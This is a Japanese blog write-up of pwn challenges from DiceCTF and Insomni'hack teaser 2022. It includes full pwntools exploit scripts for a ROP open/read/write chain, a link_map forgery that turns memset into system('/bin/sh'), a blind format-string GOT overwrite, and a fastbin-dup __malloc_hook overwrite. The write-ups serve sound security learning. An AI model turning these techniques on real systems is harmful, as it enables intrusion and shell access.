b"./flag.txt\x00\x00\x00\x00\x00\x00" +p64(pop_rdi) +p64(stack_address-0x1a0) #0x1a0 +p64(pop_rsi) +p64(0) +p64(pop_rdx) +p64(0) +p64(pop_rax) +p64(2) +p64(syscall) # open +p64(pop_rdi) +p64(3) +p64(pop_rsi) +p64(stack_address+0x100) +p64(pop_rdx) +p64(0x100) +p64(pop_rax) +p64(0) +p64(syscall) # read +p64(pop_rdi) +p64(1) +p64(pop_rsi) +p64(stack_address+0x100) +p64(pop_rdx) +p64(0x100) +p64(pop_rax) +p64(1) +p64(syscall) #write ) # fsop #ret=0x00401020 #_IO_xsputn_t=0x1f6598 #write_string(str(7), cyclic(128)+p64(0x08)+p64(libc_base+_IO_xsputn_t)) #write_string(str(8), p64(ret)) p.interactive()
一応これでflagが出力された
pwn/data-eater
25 solves / 220 points
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
1-3回入力するとsegmentation faultで落ちるバイナリ。
この問題は開催期間中に解けなかった。
方針は立ったが、理由は後述。
main関数の中身はこんな感じ。
undefined8 main(undefined8 param_1,long *param_2,long *param_3) { long in_FS_OFFSET; long *local_30; long *local_28; char local_18 [8]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = param_2; while (local_30 = param_3, *local_28 != 0) { *local_28 = 0; local_28 = local_28 + 1; } while (*local_30 != 0) { *local_30 = 0; local_30 = local_30 + 1; } fgets(local_18,8,stdin); __isoc99_scanf(local_18,buf); memset(buf,0,0x20); uRam0000000000000000 = 0; if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { uRam0000000000000000 = 0; return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
一回目のfgetsで文字列を7文字まで入力を受け付ける(null終端除く)
次のscanfで入力された文字列に対してscanfを行うという処理。
明かなFSBがある。
FSBで書き換えることが出来そうなポインタを探すために
スタック内を見てみるとこのような感じ。
gdb-peda$ x/100gx 0x7fffffffdee0 0x7fffffffdee0: 0x0000000000000000 0x0000000100400560 0x7fffffffdef0: 0x0000000a73243225 0x6d417b81b6198100 0x7fffffffdf00: 0x0000000000000000 0x000015555533f0b3 0x7fffffffdf10: 0x0000155555553620 0x00007fffffffdff8 0x7fffffffdf20: 0x0000000100000000 0x0000000000400647 0x7fffffffdf30: 0x0000000000400730 0xf6fbaa7d7e7acd40 0x7fffffffdf40: 0x0000000000400560 0x00007fffffffdff0 0x7fffffffdf50: 0x0000000000000000 0x0000000000000000 0x7fffffffdf60: 0x09045582c05acd40 0xdc51001a9eb4cd40 0x7fffffffdf70: 0x0000000000000000 0x0000000000000000 0x7fffffffdf80: 0x0000000000000000 0x0000000000000001 0x7fffffffdf90: 0x00007fffffffdff8 0x00007fffffffe008 0x7fffffffdfa0: 0x0000155555555190 0x0000000000000000
これと、書き込み可能な領域を照らし合わせてみる。
Start End Perm Name 0x00400000 0x00401000 r-xp /home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater 0x00601000 0x00602000 rw-p /home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater 0x00602000 0x00623000 rw-p [heap] 0x0000155555503000 0x0000155555506000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x0000155555506000 0x000015555550c000 rw-p mapped 0x0000155555554000 0x0000155555555000 rw-p /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x0000155555555000 0x0000155555556000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
writableな領域のみ抜粋してみたが、これを見てみると、そもそも使えそうなポインタは
スタック領域を除くと下記の2つであった。
0x000015555533f0b3 (6番目)
0x0000155555555190 (32番目)
これらのアドレスを色々調べてみると、
0x0000155555555190は、link_map構造体であることがわかった。
link_map構造体は、_dl_fixup 関数の引数として渡され、関数名の名前解決に用いられる。(Lazy Binding時)
link_mapをうまく書き換えることで、libc内の名前解決のフローをある程度操作することができる。
scanfの次のmemset関数は、初めて呼び出されるので、Lazy Bindingにより、
link_mapを使った名前解決が走るので書き換えることで、systemに飛ばすことができるかもしれない。
ということで、%sと%32$sでそれぞれ、場所が固定されている領域と、link_mapの領域に書き込みができる。
※ここでscanf の man pageを見たところ下記の記述があり、同時に%sと%32$sに書き込むことはできないと思い込んでしまった。
(後からコードを見たら、ちゃんと分離して書き込めていた。思い込みは恐ろしい…)
format 中の変換指定は、'%' で始まるか、 "%n$" で始まるかの、いずれかの形式である。 これら 2つの形式を同じ format 文字列に混ぜることはできない。
そこで他の方法にシフトして、他の謎の方法(後述)でRIPまでは取ることができたが、手詰まりになってしまった。
話を元に戻す。
まず、"%s%32$s"を一回目のfgetsに入力する。
次のscanfで、
%s(これは0x601080のbufに入力される。この領域はPIE無効なので位置が変わることはない)
%32$s(これは、link_mapの構造体が存在する0x0000155555555190に書き込まれる)
に書き込みができるので、
link_map構造体の指すSTRTABのポインタを0x601088に向け、
0x601088に偽のSTRTABを作る(memset を systemに変えておく)ことで、memsetで名前解決をするときにsystemで名前解決をするようにできる。
memsetの引数には0x601080が入るので、この領域の頭には"/bin/sh\x00"を入れておくことで、system("/bin/sh")が呼べそう。
0x20が含まれていると入力できなくなってしまうので、link mapポインタをうまく書き換える等、色々頑張る必要があるのだが、
気になったポインタを0にしたら、なんと普通に通ってしまった。
STRTABは0だと流石にsegmentation faultで落ちそうな気もするが、意外とnullがいくつかあっても名前解決ができた。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater") p=remote("mc.ax",31869) #p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False) p.sendline("%s%32$s") link_map=p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0x0000000000600f00)+p64(0x0000000000600ef0)\ +p64(0)+p64(0x601088)\ +p64(0x0000000000600eb0)+p64(0x0000000000600f30)\ +p64(0x0000000000600f40)+p64(0x0000000000600f50)\ +p64(0x0000000000600ec0)+p64(0x0000000000600ed0)\ +p64(0x0000000000600e30)+p64(0x0000000000600e40) binsh="/bin/sh".encode()+b"\x00" fake_struct=p64(5)+p64(0x601098) fake_strtab=b"\x00"+"libc.so.6".encode()\ +b"\x00"+"__isoc99_scanf".encode()\ +b"\x00"+"__stack_chk_fail".encode()\ +b"\x00"+"stdin".encode()\ +b"\x00"+"fgets".encode()\ +b"\x00"+"system".encode()\ +b"\x00"+"__libc_start_main".encode() p.sendline(binsh+fake_struct+fake_strtab+b" "+link_map) p.interactive()
これでシェルが取れる。
謎の方法
下記のコードで、RIPまでは取れた。
from pwn import * elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater") p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False) gdb.attach(p) p.sendline("%6$s") # get RIP target=0xdeadbeef p.sendline("A".encode()*(0x1038)+p64(target-0xa36c0)) p.interactive()
なんかしらの関数ポインタを書き換えているようだ
しかし、mainに戻ろうにもバグって落ちるし、libc leakが無い以上、one_gadgetにも飛ばせないし、手詰まりだった。
ROPでstack pivotができるかと思ったが、程よいガジェットがギリギリなくてダメだった。
良問ばかりで素晴らしいCTFだった。
他の問題も解いてまとめたいなぁ。
Insomni'hack teaser 2022 Write-up
今年から、CTFのモチベーションを保つために、解いた問題のWriteupを書くことにしました。
2022/1/29-30に開催されたInsomni'hack teaser 2022に参加しました。
初めてはてなを使ってみたので、書き方が不慣れです。すみません。
pwnタスクは4つありましたが、開催期間中に解くことができたのは、一番簡単なCovidLe$sだけでした。
開催期間終了後に、onetestamentを解いたので、この2問の解き方をまとめます。
CovidLe$s
初めて見たblind pwn
自明なFSBがある。
バイナリの防御機構はわからないが、おそらくGOT Overwriteあたりができるのだろう。
とりあえずFSBを使ってスタックの中身を見てみる。
from pwn import * p=remote("covidless.insomnihack.ch",6666) for i in range(0,100): p.sendline("%{}$p".format(i).ljust(0x8).encode()) print(str(i), p.recv(timeout=0.3))
こんな感じのコードで、スタックを出力できる。
0 b'Your covid pass is invalid : %0$p \ntry again ..\n\n' 1 b'Your covid pass is invalid : 0x400934 \ntry again ..\n\n' 2 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 3 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 4 b'Your covid pass is invalid : 0x7ff402f30580 \ntry again ..\n\n' 5 b'Your covid pass is invalid : 0x7ff402d048d0 \ntry again ..\n\n' 6 b'Your covid pass is invalid : 0x74346e3143633456 \ntry again ..\n\n' 7 b'Your covid pass is invalid : 0x505f44315f6e6f31 \ntry again ..\n\n' 8 b'Your covid pass is invalid : 0x5379334b5f763172 \ntry again ..\n\n' 9 b'Your covid pass is invalid : 0x5f74304e6e34635f \ntry again ..\n\n' 10 b'Your covid pass is invalid : 0xa6b34336c \ntry again ..\n\n' 11 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 12 b'Your covid pass is invalid : 0x2020207024323125 \ntry again ..\n\n' 13 b'Your covid pass is invalid : 0xa \ntry again ..\n\n' 14 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 15 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 16 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 17 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 18 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 19 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 20 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 21 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 22 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 23 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 24 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 25 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 26 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 27 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 28 b'Your covid pass is invalid : 0x7fff471f6360 \ntry again ..\n\n' 29 b'Your covid pass is invalid : 0x86ae0fff72979c00 \ntry again ..\n\n' 30 b'Your covid pass is invalid : 0x400890 \ntry again ..\n\n' 31 b'Your covid pass is invalid : 0x7ff402938b97 \ntry again ..\n\n'
ここから慣れの問題である気がするが、
0x86ae0fff72979c00はstack canaryであるような気がする。
そして、その2個下の 0x7ff402938b97 は、おそらく__libc_start_mainだろう。
libc database search
このサイトで調べると、
この問題のlibcはglibc2.27であろうことがわかる。
これでlibc baseが特定できた。
後はGOT Overwriteを目指すために、バイナリの中身をダンプしてみる。
from pwn import * p=remote("covidless.insomnihack.ch",6666) def leak(address): p.sendline("%13$s".ljust(0x8).encode()+p64(address)) print(p.recvuntil("Your covid pass is invalid : ")) tmp=p.recvuntil("try again ..").replace("try again ..".encode(),"".encode()).strip().ljust(8, b"\x00") if len(tmp)>8: data=u64(tmp[0:8]) else: data=u64(tmp) return data base=0x600f00 for i in range(0x1000): p.sendline("%13$s".ljust(0x8).encode()+p64(base+i*0x8)) print(hex(base+i*0x8),hex(leak(base+i*0x8))) p.interactive()
スタックの13番目に任意の値を入れることができたので、%13$sで、任意のアドレスをleakさせることができる。
GOTがありそうなアドレスは、適当に色々試した。(手元のバイナリだと0x600XXXとかが多かったので…)
出力結果は下記のような感じ。
b'\n\nYour covid pass is invalid : ' 0x601008 0x20207f0f07dde170 b'\n\nYour covid pass is invalid : ' 0x601010 0x20207f0f07bca8f0 b'\n\nYour covid pass is invalid : ' 0x601018 0x20207f0f078429c0 b'\n\nYour covid pass is invalid : ' 0x601020 0x10202020204005f6 b'\n\nYour covid pass is invalid : ' 0x601028 0x20207f0f07826e80 b'\n\nYour covid pass is invalid : ' 0x601030 0x20207f0f07950f50 b'\n\nYour covid pass is invalid : ' 0x601038 0x382020207f0f0784 b'\n\nYour covid pass is invalid : ' 0x601040 0x20207f0f0786be70 b'\n\nYour covid pass is invalid : ' 0x601048 0x20207f0f078407e0
これで、0x7f0f07bca8f0とかはGOTの領域っぽいので、あとは%nの書式文字列でone_gadgetに飛ばすだけ。
どれを選ぶかが問題だが、libc databaseによるとputsのoffsetが0x809c0であることから
0x601018にある0x7f0f078429c0はputsのアドレスだろうとアタリを付けて0x601018をone_gadgetのアドレスにoverwriteした。
from pwn import * libc=ELF("/home/ubuntu/Desktop/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6") p=remote("covidless.insomnihack.ch",6666) #leak libc base p.sendline("%31$p") p.recvuntil("Your covid pass is invalid : ") libc_base=int(p.recvline().split()[0], 16)-0x21b97 log.info("libc_base:"+hex(libc_base)) #GOT overwrite one_gadget=0xe5863 upper=(libc_base+one_gadget)//0x100000000 lower1=(libc_base+one_gadget)%0x100000000 lower1=lower1//0x10000 lower2=(libc_base+one_gadget)%0x100000000 lower2=lower2%0x10000 p.sendline("%{}c%20$hn%{}c%19$hn%{}c%18$hn".format(upper,0x10000+lower1-upper, 0x10000+lower2-lower1).ljust(0x30).encode()+p64(0x601020-0x8)+p64(0x601022-0x8)+p64(0x601024-0x8)) p.recv(timeout=0.5) p.interactive()
すごい勢いで空白が出力されるけど、一応シェルは取れる。
難易度としてはそんなに高くないものの、FSBはスタックがズレたりしてexploitのコーディングに時間がかかる。
onetestament
よくあるheap note問題。
1:新しい領域をcallocして書き込みする。(サイズは0x30, 0x18, 0x60, 0x7cから選べる)
2:決まった文言を出力する(あまり意味ない)
3:取得済みの領域を編集する。(2回までしかできない)
4:callocされた領域をfreeする。
脆弱性
脆弱性は二つある。
1つ目は、Edit my testamentを行うとOOBで0x01を足してしまうバグ。
Edit testament は受け取った数値をpointerに加算して、該当アドレスに0x01を加算する。
一応boundary checkが存在するものの、1バイトずれていて、隣の領域のmchunk_sizeに0x01を加算できる。
2つ目は、4のDeleteした後もポインタが削除されず、UAFがあること。
一応Deleteされた後は、flagが0x0(4バイト)になり、Deleteできないようにしているのだが、indexの入力は5バイトを隣り合った領域に書き込むため、flagを上書きできる。その結果UAFができる。
Exploitの方針
脆弱性の一つ目によって、サイズのIS_MMAPPEDフラグを立てることが可能。このフラグを立てることで、libc addressのリークが可能となる。(callocはIS_MMAPPEDがあると内容を初期化しない為)
このテクニックは、こちらの書籍に詳しく載っているのでご参照。
callocで取得する前に当該領域にlibcのアドレスを書き込む必要がある。
これはunsorted binに入れる必要がある。
問題設定上unsortedbin に使ってほしそうな、0x7cの領域確保を行いfreeをするとunsorted binに入るので、これを活用する。
(fastbinはlibcのアドレスを持たないのでlibc leakには使えない)
これによりlibc_baseをleakすることができる。
その次にRIPを奪うことを考えるが、glibc2.23なので、fastbin dupを使えることができるので__malloc_hookを書き換えことができる。
fastbin dupはhow2heapを参照
how2heap/fastbin_dup.c at master · shellphish/how2heap · GitHub
今回は0x60でcallocできるので、fastbinのチェックであるサイズチェックをバイパスできる。
(libcのアドレスは0x7fから始まるので、偶然fastbinのサイズと同じになる。したがってfastbinのチェックをバイパスできる)
これで__malloc_hookを書き換えてone_gadgetに飛ばせばよい。
from pwn import * elf=ELF("/hostshare/ontestament") libc=ELF("/hostshare/libc6.so") #p=process("/hostshare/ontestament", aslr=False,env={"LD_PRELOAD" : "/hostshare/libc6.so"} ) #p=process("/hostshare/ontestament", aslr=True ) #gdb.attach(p) p=remote("onetestament.insomnihack.ch",6666) def new_testament(choice, content): p.sendlineafter("Please enter your choice:", "1".encode()) p.sendlineafter("Please enter your choice:", str(choice).encode()) p.sendlineafter("Please enter your testatment content:", content) return p.recvline() def show_testament(index): p.sendlineafter("Please enter your choice:", "2".encode()) return p.recvline() def edit_testament(index, content): p.sendlineafter("Please enter your choice:", "3".encode()) p.sendlineafter("Please enter your testament index:", str(index).encode()) p.sendlineafter("Please enter your testament content:", content) return p.recvline() def delete_testament(index): p.sendlineafter("Please enter your choice:", "4".encode()) p.sendlineafter("Please enter your testament index:", str(index).encode()) return p.recvline() ### leak libc ### new_testament(1, cyclic(0x10)) #0 new_testament(4, cyclic(0x10)) #1 new_testament(3, cyclic(0x10)) #2 barrier delete_testament(1) # 1 fd, bk edit_testament(0, str(0x18)) #IS_MMMAPED edit_testament(0, str(0x18)) #PREV_USED new_testament(4, "") #1 libc_base=u64((b"\x00"+p.recv(5)).ljust(8, b"\x00"))-0x3c4b00 log.info("libc base is :" + hex(libc_base)) ### fastbin dup ### new_testament(3, cyclic(0x10)) #3 new_testament(3, cyclic(0x10)) #4 delete_testament(4) delete_testament(2) p.sendlineafter("Please enter your choice:", "4".encode()) p.sendlineafter("Please enter your testament index:", str(4).encode()+b"\xde\xad\xbe\xef") one_gadget=0x4527a new_testament(3, p64(libc_base+libc.symbols["__memalign_hook"]-0x13)) new_testament(3, "A") new_testament(3, "BBBB") new_testament(3, "CCCCCCCCCCCCCCCCCCC".encode()+p64(libc_base+one_gadget)) #pwn it p.sendlineafter("Please enter your choice:", "1".encode()) p.sendlineafter("Please enter your choice:", str(1).encode()) p.interactive()
こちらも難易度はあまり高くないけど、脆弱性を見つけることが難しいなぁーと思った。
仮にlibc 2.31だったとしてもcallocの10回制限が無ければ、house of botcakeで解けるかも?と思ったが
callocはtcacheからは取らないからやっぱりダメなような気もした(試す体力はない)。
LoadMeもBlindpwnのようでしたが、Windows問なので、何もわかりませんでした。いつかやりたいです。
RetroPwnはゲームボーイっぽいゲームが始まって面白そうでした。いつかやりたいです。
どこか間違っている記載があったらすみません。